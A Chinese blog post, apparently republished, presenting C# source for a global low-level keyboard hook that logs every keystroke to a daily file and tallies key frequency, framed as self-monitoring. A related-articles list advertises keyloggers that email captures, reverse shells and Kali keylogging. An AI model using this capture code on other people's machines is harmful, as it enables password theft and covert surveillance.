C# 键盘记录器

news/2024/11/9 3:13:22/

        利用HOOK技术来做一个键盘记录器,看看一天下来,我们点击了多少次键盘,哪些键的使用频率最高。

实现功能:

使用C#实现一个键盘记录器

开发环境:

开发工具: Visual Studio 2013

.NET Framework版本:4.5

实现代码:

public class HookUtil{#region windows api/// <summary>/// 安装钩子/// </summary>[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]public static extern int SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hInstance, int threadId);public delegate int HookProc(int nCode, Int32 wParam, IntPtr lParam);/// <summary>/// 继续下一个钩子/// </summary>[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]public static extern int CallNextHookEx(int idHook, int nCode, Int32 wParam, IntPtr lParam);/// <summary>/// 卸载钩子/// </summary>[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]public static extern bool UnhookWindowsHookEx(int idHook);/// <summary>///获取当前线程编号(线程钩子需要用到)[DllImport("kernel32.dll")]static extern int GetCurrentThreadId();/// <summary>/// 获取当前实例的函数/// </summary>[DllImport("kernel32.dll")]public static extern IntPtr GetModuleHandle(string name);/// <summary>/// 获取按键的状态/// </summary>/// <param name="pbKeyState"></param>/// <returns></returns>[DllImport("user32")]public static extern int GetKeyboardState(byte[] pbKeyState);/// <summary>/// 将指定的虚拟键码和键盘状态翻译为相应的字符或字符串/// </summary>[DllImport("user32")]public static extern int ToAscii(int uVirtKey, int uScanCode,   byte[] lpbKeyState,byte[] lpwTransKey,int fuState); #endregion/// <summary>/// 键盘结构/// </summary>[StructLayout(LayoutKind.Sequential)]public class KeyboardHookStruct{public int vkCode;  //定一个虚拟键码。该代码必须有一个价值的范围1至254public int scanCode; // 指定的硬件扫描码的关键public int flags;  // 键标志public int time; // 指定的时间戳记的这个讯息public int dwExtraInfo; // 指定额外信息相关的信息}//定义为键盘钩子public int WH_KEYBOARD_LL = 13;//相关键盘事件public event KeyEventHandler KeyDownEvent;public event KeyPressEventHandler KeyPressEvent;public event KeyEventHandler KeyUpEvent;//相关动作private const int WM_KEYDOWN = 0x100;//KEYDOWNprivate const int WM_KEYUP = 0x101;//KEYUPprivate const int WM_SYSKEYDOWN = 0x104;//SYSKEYDOWNprivate const int WM_SYSKEYUP = 0x105;//SYSKEYUP//hookidprivate int hookID = 0;//向下传递数据public Keys NoNextKeyCode;/// <summary>/// 安装钩子/// </summary>public void StartHook(){if (hookID == 0){HookProc hookProc = new HookProc(KeyboardHookProc);hookID = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, GetModuleHandle(System.Diagnostics.Process.GetCurrentProcess().MainModule.ModuleName), 0);if (hookID == 0){StopHook();throw new Exception("安装键盘钩子失败");}}}public void StopHook(){bool isStop = true;if (hookID != 0){isStop = UnhookWindowsHookEx(hookID);hookID = 0;}if (!isStop) throw new Exception("卸载键盘钩子失败!");}/// <summary>/// 监听事件/// </summary>private int KeyboardHookProc(int nCode, Int32 wParam, IntPtr lParam){if ((nCode >= 0) && (KeyDownEvent != null || KeyUpEvent != null || KeyPressEvent != null)){KeyboardHookStruct MyKeyboardHookStruct = (KeyboardHookStruct)Marshal.PtrToStructure(lParam, typeof(KeyboardHookStruct));//按下处理if (KeyDownEvent != null && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)){Keys keyData = (Keys)MyKeyboardHookStruct.vkCode;KeyEventArgs e = new KeyEventArgs(keyData);KeyDownEvent(this, e);//阻止向下传递if (NoNextKeyCode == keyData){return hookID;}}//按下并抬起处理if (KeyPressEvent != null && wParam == WM_KEYDOWN){byte[] keyState = new byte[256];GetKeyboardState(keyState);byte[] inBuffer = new byte[2];if (ToAscii(MyKeyboardHookStruct.vkCode, MyKeyboardHookStruct.scanCode, keyState, inBuffer, MyKeyboardHookStruct.flags) == 1){KeyPressEventArgs e = new KeyPressEventArgs((char)inBuffer[0]);KeyPressEvent(this, e);}}// 抬起处理if (KeyUpEvent != null && (wParam == WM_KEYUP || wParam == WM_SYSKEYUP)){Keys keyData = (Keys)MyKeyboardHookStruct.vkCode;KeyEventArgs e = new KeyEventArgs(keyData);KeyUpEvent(this, e);}}return CallNextHookEx(hookID, nCode, wParam, lParam);}~HookUtil(){StopHook();}}
  HookUtil keyHook = new HookUtil();private void btnBegin_Click(object sender, EventArgs e){keyHook.KeyDownEvent += new KeyEventHandler(hook_KeyDown);//钩住按下事件keyHook.StartHook();btnBegin.Enabled = false;btnEnd.Enabled = true;}private void btnEnd_Click(object sender, EventArgs e){keyHook.StopHook();btnBegin.Enabled = true;btnEnd.Enabled = false;}private void btnInfo_Click(object sender, EventArgs e){string path = System.AppDomain.CurrentDomain.BaseDirectory + "log\\" + DateTime.Now.ToString("yyyy-MM-dd") + ".txt";if (!File.Exists(path)){MessageBox.Show("还未监听到数据,请操作后再查看");return;}var list = File.ReadAllLines(path).ToList().GroupBy(s => s).Select(s => new { s.Key, s.ToList().Count }).OrderByDescending(s => s.Count);FrmInfo frm = new FrmInfo();frm.Show();foreach (var item in list){frm.addItems(new string[] { "", item.Key, item.Count + "" });}}private void hook_KeyDown(object sender, KeyEventArgs e){if (!listKey.Contains(e.KeyData)){if (Control.ModifierKeys != Keys.None){WriteLog(Control.ModifierKeys + "+" + e.KeyData);}else{WriteLog(e.KeyData + "");}}else{WriteLog(e.KeyData + "");}}

实现效果:

由简入繁,拿来即用

更多精彩,请搜索公众号:Csharp 小记


http://www.ppmy.cn/news/153453.html

相关文章

键盘记录器(有发送到指定qq邮箱的功能。附源代码及使用教程,免费下载)

简介 本程序由C和python实现&#xff0c;C实现键盘记录&#xff0c;python实现发送邮件。 使用教程 1.kb.cpp编译后生成kb.exe 2.进QQ邮箱&#xff0c;设置收、发件人开启smtp服务&#xff0c;并进入收件人邮箱设置&#xff0c;获取授权码。把收发件人的邮箱以及授权码填入s…

反弹shell和键盘记录器实现

环境&#xff1a;win10&#xff08;测试机&#xff09;&#xff0c;阿里云服务器&#xff08;服务端&#xff09; 另附&#xff1a;从局域网监控到广域网实时监控的实现     反弹shell&#xff08;reverse shell&#xff09;&#xff0c;就是控制端监听在某 TCP/UDP 端口&…

hook:实现简单的键盘记录器

说到hook技术&#xff0c;开始我真是一头雾水&#xff01; 不久前看到一篇博客&#xff0c;实现 了一个简单的键盘记录器。我从中颇为受益&#xff01;今天就来和大家分享一下我的一个小例子&#xff0c;并说说我的感悟&#xff01; 首先就从main&#xff08;&#xff09;函数…

kali键盘记录

严正声明&#xff1a;本文仅限技术讨论与分享&#xff0c;严禁用于非法途径。 校园网会影响实验&#xff0c;防火墙也是。 准备一台windows 7 x64的虚拟机&#xff0c;并配置好网络&#xff1a; 可知IP地址为192.168.142.135 准备一台kali linux的虚拟机&#xff0c;并配置好…

Python编写键盘记录器

用Python写的键盘记录器,记录我们所敲击的按键值,当我们攻破一台电脑,可以运行这个脚本,记录服务端管理人员的键盘操作.用下面代码需要安装Python-Xlib库,我用atp-get和pip安装都没有成功,后直接下载python-xlib-0.15rc1源码才安装成功. python-xlib-0.15rc1下载地址:http://d…

深入理解黑客攻击-键盘记录器

老师是这样讲的 在计算机早期&#xff0c;计算机是没有鼠标的&#xff0c;键盘才是标配&#xff0c;可以没有鼠标&#xff0c;但是不能没有键盘 所以&#xff0c;当键盘插进电脑上的时候&#xff0c;电脑应该是没有硬件提示的 所以&#xff0c;一般在网吧里面&#xff0c;我们…

C++ Hook 键盘记录器

之前写外挂做过指定进程的 Hook&#xff0c;但是没有尝试过全局 Hook&#xff0c;所以今天就来试试。全局 Hook 的用途我第一个就想到了键盘记录器&#xff08;貌似我也就想到了这个 哈哈&#xff09;&#xff0c;那就写一个吧。 步伐逐渐鬼畜… 先上效果图&#xff08;没图没…

C++实现键盘记录器v1.0

首先&#xff0c;我是也是借鉴别人的源码来学习的。因为如果还是按照从头开始看VC来做的话肯定是来不及的&#xff0c;那我就直接去分析看懂别的人的代码&#xff0c;从中学习并且自己再重新实现一遍&#xff0c;再做些改进。 先来介绍一下所用到的API&#xff1a; 1、fstream…